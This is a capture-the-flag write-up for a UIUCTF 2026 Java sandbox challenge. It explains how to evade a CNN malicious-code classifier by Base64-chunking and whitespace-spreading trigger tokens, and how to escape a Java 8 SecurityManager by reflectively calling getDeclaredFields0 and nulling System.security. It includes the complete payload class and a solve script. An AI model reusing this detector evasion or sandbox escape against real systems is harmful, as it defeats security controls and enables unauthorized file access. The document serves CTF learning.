$ cat writeup.md…
$ cat writeup.md…
uiuctf2026
Task: paste a Java class over ncat --ssl; a CNN malicious-code classifier must score <0.1, then the code runs under a strict Java 8 SecurityManager. Solution: evade the max-pool CNN by Base64-chunking and whitespace-spreading all sensitive tokens, then escape the sandbox by nulling java.lang.System.security via the reflection-field-filter bypass Class.getDeclaredFields0.
Java Sandbox Runner. Paste a Java class over
ncat --ssl <host> 1337, terminated by a lineDONE. The server runs the source through an ML "malicious code detector" before compiling and running it under a SecurityManager. Read/flag.
Two independent gates must be beaten in a single submission:
sigmoid(logit) < 0.1.UserClass.run() under a restrictive Java 8 SecurityManager that blocks every direct file read. Goal: read /flag (root-owned).Connection: ncat --ssl jail-<id>.chal.uiuc.tf 1337 (kCTF/nsjail instance, PoW disabled, per-session hostname).
main.py + model.py)main.py reads source lines until DONE, then:
source_tensor = torch.tensor(list(source.encode("utf8"))).unsqueeze(0) logits = model(source_tensor) if torch.sigmoid(logits) >= 0.1: print("malicious code detected"); exit()
MaliciousDetection architecture (model.py):
nn.Embedding(257, 32, padding_idx=256) — each source byte becomes a 32-dim vector.Conv1d over the embedding, kernel sizes 3, 5, 10, 20 → ReLU.AdaptiveMaxPool1d(1) on each — a global max over all sequence positions.Dropout → Linear(256, 1) → logit.Critical property: because of the global AdaptiveMaxPool1d(1), the score is driven by the single strongest n-gram activation anywhere in the source. Adding benign padding or comments cannot lower the peak. To reduce the score you must physically remove the triggering byte n-grams.
Empirical scoring (via score.py / ablate2.py):
System.out.println(1+1) → ~0.0007 (benign).new FileReader("/flag") → ~0.42; fully naive reflective escape → 0.997.'/' ~0.9997, 'F' ~0.99. Dominant triggers: "/flag", "FileReader"/"File", "setAccessible(true)", "getDeclaredField", ".set(null, null)".a . b ( ) instead of a.b()) helps — it shatters the dense 10- and 20-byte convolution windows.+ shatters those windows too.Jail.java)System.setSecurityManager(new JailSecurityManager()); UserClass.run();
JailSecurityManager throws on almost everything (checkExec, checkWrite, checkDelete, checkConnect, checkCreateClassLoader, checkListen, checkAccept, checkAccess, checkLink, checkRead(FileDescriptor), …). Partial checks:
checkPermission(perm): throws only if the permission is setSecurityManager. Everything else — suppressAccessChecks (i.e. setAccessible(true)), accessDeclaredMembers, property reads — is allowed.checkRead(String file): allowed only if file.equals("/tmp/UserClass.class"); every other path throws.checkPackageAccess(pkg): throws only if pkg.startsWith("sun"). So java.lang.* reflection is allowed; sun.misc.Unsafe reflection is blocked.Environment (Dockerfile): Ubuntu 22.04 + openjdk-8-jdk; flag at /flag (root); working dir /tmp.
FileInputStream, Files.readAllBytes, RandomAccessFile, file:// URL, NIO channels, checkRead(FileDescriptor)). The only path to /flag is to disable the SecurityManager first.System.setSecurityManager(null) is blocked (setSecurityManager permission).java.lang.System.security (private static volatile SecurityManager). setAccessible(true) is allowed by checkPermission, and a plain field write has no SM hook. Once null, getSecurityManager()==null and all checks stop.System.class.getDeclaredField("security") throws NoSuchFieldException. OpenJDK 8 applies a reflection field filter (sun.reflect.Reflection.registerFieldsToFilter) that hides java.lang.System.security (and Class.classLoader) from getDeclaredField/getDeclaredFields. Enumerating System's fields on the target returned only in, out, err, cons, props, lineSeparator — no security. Reproduced locally on liberica-1.8.0_345.Class.getDeclaredFields0(boolean) is a private native method of java.lang.Class (package java.lang, allowed by checkPackageAccess) that returns the unfiltered field array. Call it reflectively to recover the hidden security field, setAccessible(true), set(null, null), then read /flag via FileInputStream.This was validated end-to-end on real OpenJDK 8 (liberica-1.8.0_345) with local/FullTest.java, a faithful JailSecurityManager replica, which printed the local test flag.
Method gdf0 = Class.class.getDeclaredMethod("getDeclaredFields0", boolean.class); gdf0.setAccessible(true); Field[] fields = (Field[]) gdf0.invoke(System.class, false); // unfiltered // find field named "security", setAccessible(true), set(null, null) // then new FileInputStream("/flag") read loop -> System.out
|-joined blob:
getDeclaredFields0|security|setAccessible|set|java.io.FileInputStream|/flag|getName|getDeclaredMethod|invoke|getMethod|forName|read|write|flush|getConstructor|newInstance.+ in the Java source ("Z2V0" + "RGVj" + …). No CNN window (≤20 bytes) ever sees a long suspicious substring.split("[|]") to recover the names array n[].setAccessible/getDeclaredMethod/getName never appear as source tokens — only getMethod + invoke appear literally (weak signal). All method names come from the decoded blob:static Object c(Object o, Class<?> cl, String nm, Class<?>[] pt, Object[] ar) throws Exception { Method mm = cl.getMethod(nm, pt); return mm.invoke(o, ar); }
a . b ( )) to break residual dense windows.run() wraps the body in try/catch(Throwable) so it declares no checked exceptions. Jail.main calls UserClass.run() without a throws clause, so a throws Exception on run() makes Jail.java fail to compile (unreported exception Exception) — an actual bug hit during solving and fixed here.getDeclaredField("security") — blocked by the OpenJDK 8 field filter (the whole reason getDeclaredFields0 is needed).ScriptEngineManager launcher (hide the malicious logic in a Base64 JS string and eval it, so only benign bytes are scored): classifier-wise it worked (~0.01) but fails at runtime — ScriptEngineManager uses ServiceLoader, which reads jar files, hitting checkRead(String) → SecurityException reading .../resources.jar.sun.misc.Unsafe via reflection — blocked by checkPackageAccess("sun").System.setSecurityManager(null) — blocked (setSecurityManager permission).getDeclaredField("security") reader — but that reader is defeated by the field filter, forcing the move to getDeclaredFields0 + the Base64-blob approach.UserClass_final.java)import java.lang.reflect.* ; public class UserClass { static Object c ( Object o , Class < ? > cl , String nm , Class < ? > [] pt , Object [] ar ) throws Exception { Method mm = cl . getMethod ( nm , pt ) ; return mm . invoke ( o , ar ) ; } public static void run ( ) { try { String [] n = new String ( java . util . Base64 . getDecoder ( ) . decode ( "Z2V0" + "RGVj" + "bGFy" + "ZWRG" + "aWVs" + "ZHMw" + "fHNl" + "Y3Vy" + "aXR5" + "fHNl" + "dEFj" + "Y2Vz" + "c2li" + "bGV8" + "c2V0" + "fGph" + "dmEu" + "aW8u" + "Rmls" + "ZUlu" + "cHV0" + "U3Ry" + "ZWFt" + "fC9m" + "bGFn" + "fGdl" + "dE5h" + "bWV8" + "Z2V0" + "RGVj" + "bGFy" + "ZWRN" + "ZXRo" + "b2R8" + "aW52" + "b2tl" + "fGdl" + "dE1l" + "dGhv" + "ZHxm" + "b3JO" + "YW1l" + "fHJl" + "YWR8" + "d3Jp" + "dGV8" + "Zmx1" + "c2h8" + "Z2V0" + "Q29u" + "c3Ry" + "dWN0" + "b3J8" + "bmV3" + "SW5z" + "dGFu" + "Y2U=" ) ) . split ( "[|]" ) ; Class < ? > [] BT = new Class [] { boolean . class } ; Class < ? > CC = Class . class ; Object p = c ( CC , CC , n [ 7 ] , new Class [] { String . class , Class [] . class } , new Object [] { n [ 0 ] , BT } ) ; c ( p , p . getClass ( ) , n [ 2 ] , BT , new Object [] { true } ) ; Object fsO = c ( p , p . getClass ( ) , n [ 8 ] , new Class [] { Object . class , Object [] . class } , new Object [] { System . class , new Object [] { false } } ) ; Object [] fs = ( Object [] ) fsO ; Object g = null ; for ( Object q : fs ) { Object nm = c ( q , q . getClass ( ) , n [ 6 ] , new Class [ 0 ] , new Object [ 0 ] ) ; if ( nm . equals ( n [ 1 ] ) ) g = q ; } c ( g , g . getClass ( ) , n [ 2 ] , BT , new Object [] { true } ) ; c ( g , g . getClass ( ) , n [ 3 ] , new Class [] { Object . class , Object . class } , new Object [] { null , null } ) ; Object ins = Class . forName ( n [ 4 ] ) . getConstructor ( String . class ) . newInstance ( n [ 5 ] ) ; java . io . InputStream st = ( java . io . InputStream ) ins ; int x ; while ( ( x = st . read ( ) ) >= 0 ) System . out . write ( x ) ; System . out . flush ( ) ; } catch ( Throwable t ) { t . printStackTrace ( ) ; } } }
n[] indices: 0=getDeclaredFields0, 1=security, 2=setAccessible, 3=set, 4=java.io.FileInputStream, 5=/flag, 6=getName, 7=getDeclaredMethod, 8=invoke. Line 12 reflectively fetches Class.getDeclaredMethod("getDeclaredFields0", boolean[]); line 14 invokes it on System.class to get unfiltered fields; lines 17–19 locate security; lines 21–22 setAccessible(true) then set(null, null); line 23 opens /flag and the loop streams it to stdout.
Pipe the payload followed by a DONE line over the SSL socket:
# solve.py (essence) import ssl, socket data = open("UserClass_final.java","rb").read() + b"\nDONE\n" ctx = ssl._create_unverified_context() s = ctx.wrap_socket(socket.create_connection((HOST, 1337))) s.sendall(data) print(s.recv(65536).decode())
The classifier scores ~0.041 (< 0.1), the server compiles UserClass.java + Jail.java, runs java Jail, the escape nulls System.security, and /flag is printed.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar